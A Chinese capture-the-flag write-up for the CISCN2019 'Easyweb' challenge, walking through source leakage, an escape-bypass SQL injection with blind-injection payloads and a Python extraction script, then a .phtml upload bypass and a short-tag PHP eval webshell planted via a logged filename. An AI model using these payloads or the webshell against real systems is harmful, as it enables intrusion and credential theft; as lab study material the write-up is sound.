[CISCN2019 总决赛 Day2 Web1]Easyweb

在这里插入图片描述
只有登录界面,测试了下啥都没有,我扫了下目录
有个robots.txt,给出了.bak备份文件下载
但我下载index.php一直下载不了,看了wp才知道
那个喵喵喵图片是从image.php发出来的,就可以下载他的备份文件…
源码如下

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

可以发现他是通过id或者path这两个变量来与数据库进行交互的
说明可以用这两个变量来进行sql注入

看到过滤函数
addslashes函数会转义单引号,双引号,反斜杠,null。

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

过滤了\0 , %00 , \' , '

要让sql语句闭合
我们可以让id =\0'

这样经过addslashes函数
会变为

\\0\'

经过正则匹配,只会保留反斜杠,将单引号转义
sql语句就会变为

select * from images where id='\' or path='{$path}'

由此构造出sql注入语句

select * from images where id='\' or path=' or 1=1 --+

payload:

id=\0'&path=or 1=1 --+

成功执行
有布尔回显,可以使用布尔盲注

查库
payload:

id=\0'&path=or ascii(substr(database(),1,1))>1 --+

库名为ciscnfinal

查表
paylaod:

id=\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>1 --+

表名为images,users

查列(由于过滤了分号可以使用十六进制字符窜
查usr表里的列名
payload

id=\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),1,1))>1 --+

列名为username,password

查username

payload

id=\0%27&path=or ascii(substr((select group_concat(username) from users),1,1))>1 --+

username 为:admin

查password

id=\0%27&path=or ascii(substr((select group_concat(password) from users),1,1))>1 --+

密码为f5705ba9b473abe62fe8

最终脚本如下

import requests

url = "http://f8e8efcc-b6b6-4ed9-9be9-0b116b194294.node3.buuoj.cn/image.php"

#查库
payload1="?id=\\0'&path=or ascii(substr(database(),{},1))>{} --+"

#查表
payload2 ="?id=\\0%27&path=or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} --+"

#查列
payload3 ="?id=\\0%27&path=or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{} --+"

#查用户名
payload4 ="?id=\\0%27&path=or ascii(substr((select group_concat(password) from users),{},1))>{} --+"   #查密码将username换为password


database =""
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        # payload = payload1.format(i,mid)  #查库名
        # payload = payload2.format(i,mid)  #查表名
        # payload = payload3.format(i,mid)  #查列名
        payload = payload4.format(i,mid) #查用户名

        new_url = url + payload
        r = requests.get(new_url)
        print(new_url)
        if "JFIF" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    database +=chr(mid)
    print(database)

# print("database=",database) #输出库名
# print("table=",database)   #输出表名
# print("column=",database)    #输出列名
print("usernmae=",database)  #输出用户名


登录后是一段文件上传
在这里插入图片描述
经过测试,黑名单绕过 .phtml
在这里插入图片描述

但是会被加到日志里面,访问日志文件

在这里插入图片描述

输出了上传木马的文件名,由于上传后的文件都会带一个.php的后缀
可以让filename变为一句话木马,再进行访问,但是文件名不允许出现php的内容
由此可以利用短标签

当解析一个文件时,PHP 会寻找起始和结束标记,也就是 * 和 ?>,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
PHP 也允许使用短标记 ,但不鼓励使用。只有通过激活 php.ini 中的 short_open_tag 配置指令或者在编译 PHP 时使用了配置选项 --enable-short-tags 时才能使用短标记。

payload

filename=<?=@eval($_POST['penson']);?>

蚁剑连接即可拿到flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值